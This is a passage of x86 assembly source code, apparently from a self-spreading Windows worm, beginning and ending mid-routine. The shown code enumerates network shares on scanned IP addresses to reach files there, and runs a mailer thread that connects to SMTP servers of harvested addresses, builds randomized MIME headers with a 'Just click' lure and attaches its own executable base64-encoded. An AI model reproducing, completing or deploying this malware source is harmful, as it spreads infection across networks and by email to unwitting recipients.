stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
;-----------------------------------------------------------------------------
;convert IP address to string (ANSI or Unicode)
;-----------------------------------------------------------------------------
ip_shift label near
xor eax, eax
shld eax, ebx, 8
ip_hex2dec label near
div cl
xchg ah, al
add al, '0'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shr eax, 8
jne ip_hex2dec
mov al, '.'
stos byte ptr [edi]
xor al, al
stos byte ptr [edi] ;store Unicode half-character
add edi, esi ;remove character if ANSI
shl ebx, 8
jne ip_shift
cld
push edi
mov al, '\'
stos byte ptr [edi]
inc edi ;include Unicode half-character
sub edi, esi ;remove character if ANSI
stos byte ptr [edi] ;store '\\' in ANSI or Unicode
pop edi
test esi, esi
je ip_sharent
;-----------------------------------------------------------------------------
;enumerate shares on IP address (9x/Me platform)
;-----------------------------------------------------------------------------
push ebx
mov eax, esp
push ebx
push esp
push eax
push ebx ;too small size returns needed size
push ebx
push 1
push edi
mov ebx, edi
mov edi, edx
call dword ptr [esp + 44h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop esi
sub al, ERROR_MORE_DATA
jne ip_restore
imul esi, ecx, size share_info_19x + 50
;include size of optional remark
push esi
push eax ;GMEM_FIXED
call cGlobalAlloc
cdq
xchg ecx, eax
jecxz ip_restore
push ecx ;GlobalFree
push edx
mov eax, esp
push edx
push esp
push eax
push esi
push ecx
push 1
push ebx
mov esi, ecx
call dword ptr [esp + 48h + ip9xcrcstk.ip9xNetShareEnum + 18h]
pop ecx
pop ecx
mov al, '\'
stos byte ptr [edi]
ip_next9x label near
push ecx
push edi
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi] ;attach sharename
pop edi
push ebx
call cSetCurrentDirectoryA
xchg ecx, eax
jecxz ip_skip9x
;I dream of rain, I live my years under an open sky
call find_files
ip_skip9x label near
add esi, size share_info_19x - share_info_19x.shi1_pad1
pop ecx
loop ip_next9x
ip_free9x label near
call cGlobalFree
ip_restore label near
leave
pop ebx
inc bl
jne ip_save
push 120 * 60 * 1000 ;2 hours
call cSleep
jmp find_ip
ip_sharent label near
;-----------------------------------------------------------------------------
;enumerate shares on IP address (NT/2000/XP platform)
;-----------------------------------------------------------------------------
push eax
mov eax, esp
push eax
mov ecx, esp
push ebx
push esp
push eax
push MAX_PREFERRED_LENGTH
push ecx
push 1
push edi
call dword ptr [esp + 44h + ipntcrcstk.ipntNetShareEnum + 1ch]
test eax, eax
pop esi
pop ebx
push esi ;NetApiBufferFree
jne ip_freent
ip_nextnt label near
push esi
lods dword ptr [esi]
push eax
xchg esi, eax
xor eax, eax ;lstrlenW
call store_krnapi
lea eax, dword ptr [eax + eax + 26h]
;include size of Unicode '\\' + Unicode IP address + Unicode '\'
push eax
push GMEM_FIXED
call cGlobalAlloc
xchg ecx, eax
jecxz ip_freent
push ecx ;GlobalFree
push ecx ;SetCurrentDirectoryW
push esi ;lstrcatW
push ecx ;lstrcatW
push '\'
push esp ;lstrcatW
push ecx ;lstrcatW
push edi
push ecx
push (krncrcstk.klstrcpyW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi ;copy IP address
call clstrcatW ;attach '\'
pop eax
call clstrcatW ;attach sharename
push (krncrcstk.kSetCurrentDirectoryW - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
xchg esi, eax
call cGlobalFree
test esi, esi
je ip_skipnt
;when you look into the abyss, the abyss looks back at you
call find_files
ip_skipnt label near
pop esi
add esi, size share_info_1nt
dec ebx
jne ip_nextnt
ip_freent label near
call dword ptr [esp + 3ch + ipntcrcstk.ipntNetApiBufferFree + 4]
jmp ip_restore
find_ip endp
create_thr3 label near
push esi
push esi
call cCreateThread
;-----------------------------------------------------------------------------
;thread 4: send email to last mailto: address found. slow mailer
;-----------------------------------------------------------------------------
push "23"
push "_2sw"
push esp
call cLoadLibraryA
pop ecx
pop ecx
test eax, eax
jne found_ws2
push "23k"
push "cosw"
push esp
call cLoadLibraryA
pop ecx
pop ecx
found_ws2 label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
ws2crcbegin label near ;place < 80h bytes from call for smaller code
dd (ws2crc_count + 1) dup (0)
ws2crcend label near
dd offset wsock_init - offset ws2crcend + 4
wsock_init label near
mov ebx, esp
enter (size WSADATA + 3) and -4, 0
push esp
push 1
call dword ptr [ebx + ws2crcstk.wWSAStartup]
leave
pop eax
pop dword ptr ds:[offset store_send - offset junkhtml_inf + expsize + 401001h]
push PF_NS
push SOCK_STREAM
push AF_INET
call eax
mov dword ptr ds:[offset store_socket - offset junkhtml_inf + expsize + 401001h], eax
xchg ebp, eax
send_email label near
push 240 * 60 * 1000 ;4 hours
call cSleep
mov ebx, esp
push ebp
push 10000h ;message buffer
push GMEM_FIXED
call cGlobalAlloc
push eax ;GlobalFree
xchg edi, eax
mov esi, offset email_block - offset junkhtml_inf + expsize + 401000h
push ebx
push ebp
call decompmain ;smtp1 ("HELO ")
pop ebp
pop ebx
push esi
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
find_smtp label near
lods byte ptr [esi]
cmp al, '@'
je store_smtp
or al, 5
cmp al, "'"
jne find_smtp
pop eax
branch_skip label near
jmp skip_send
store_smtp label near
mov ecx, edi
mov eax, "ptms"
stos dword ptr [edi]
mov al, '.'
stos byte ptr [edi]
copy_smtp label near
lods byte ptr [esi]
stos byte ptr [edi]
or al, 5
sub al, "'"
jne copy_smtp
pop esi
dec edi
mov byte ptr [edi], al
push ecx
call dword ptr [ebx - 8 + ws2crcstk.wgethostbyname]
xchg ecx, eax
jecxz branch_skip
;-----------------------------------------------------------------------------
;create and initialise sockaddr_in structure
;-----------------------------------------------------------------------------
push 0
push 0
push dword ptr [ecx + hostent.h_addr_list]
push (1900h shl 10h) + AF_INET
mov eax, esp
push size sockaddr_in
push eax
push ebp
call dword ptr [ebx - 8 + ws2crcstk.wconnect]
add esp, size sockaddr_in
call store_crlf
call senddata
;-----------------------------------------------------------------------------
;SMTP client engine by RT Fishel
;polymorphic headers (random comment insertion)
;-----------------------------------------------------------------------------
call decompmain ;smtp2 ("MAIL FROM:<>")
call senddata
call decompmain ;smtp3 ("RCPT TO:")
push esi
mov esi, offset mail_recip - offset junkhtml_inf + expsize + 401000h
copy_recip label near
lods byte ptr [esi]
stos byte ptr [edi]
or al, 5
cmp al, "'"
jne copy_recip
pop esi
dec edi
call store_crlf
call senddata
call decompmain ;smtp4 ("DATA")
call senddata
call decompmain ;header1 ("From: ")
call randword
call decompmain ;header2 ("Subject: ...")
call decompmime ;header31 ("MIME-Version:")
call decomptype ;part11 ("Content-Type:")
call decompcomcr ;part12 ("multipart/mixed;")
call decompcomnt ;part13 (" boundary=")
push edi
call randword ;boundary
call store_crlf
mov eax, edi
pop ecx
push ecx ;boundary pointer
sub eax, ecx
sub eax, 4
push eax ;boundary length
call randlines
pop eax
pop ecx
push ecx
push eax
call bound_copy ;boundary
dec edi
dec edi
mov eax, (0a0dh shl 10h) + '--'
stos dword ptr [edi] ;end of message ;)
stos word ptr [edi]
pop eax
pop ecx
push ecx
push eax
call bound_copy ;--boundary
call decompmain ;body1 ("Just click...")
mov eax, ('--' shl 10h) + 0a0dh
stos dword ptr [edi]
pop eax
pop ecx
push ecx
push eax
call bound_copy
push esi
call decomptype ;content-type
pop esi
call decompcomcr ;part21 ("text/plain;")
call decompcomnt ;part22 (" name=email.htm")
call decompcmap ;part23 ("Content-Transfer-Encoding:")
call decompcomnt ;part24 ("quoted-printable")
call decompcmap ;part25 ("Content-Disposition:")
push offset part26 - offset part25 - 4
pop ebp
call decompcomcr ;part26 ("attachment")
push edi
push esi
call decompmime ;header31 ("MIME-Version:")
pop esi
call decompcmap ;part27 ("Content-Location:")
push esi
patch_encode label near
mov esi, 'RTF!'
call decompcmap ;content-encoding
pop esi
call decompcomcr ;part28 ("base64")
call store_crlf
push esi
push ebp ;CreateFileA
push ebp ;CreateFileA
push OPEN_EXISTING ;CreateFileA
push ebp ;CreateFileA
push FILE_SHARE_READ ;CreateFileA
push GENERIC_READ ;CreateFileA
push edi ;CreateFileA
push 7fh
push edi
push ebp
push (krncrcstk.kGetModuleFileNameA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push (krncrcstk.kCreateFileA - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push ebp
push eax
xchg ebx, eax
push (krncrcstk.kGetFileSize - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
push eax
xchg ebp, eax
push GMEM_ZEROINIT
call cGlobalAlloc
push eax ;GlobalFree
push ebx ;CloseHandle
push eax
push esp
push ebp
push eax
push ebx
xchg esi, eax
push (krncrcstk.kReadFile - krncrcstk.klstrlenW) shr 2
pop eax
call store_krnapi
call cCloseHandle
call b64encode
call cGlobalFree
pop esi
call decompmain ;part31 ("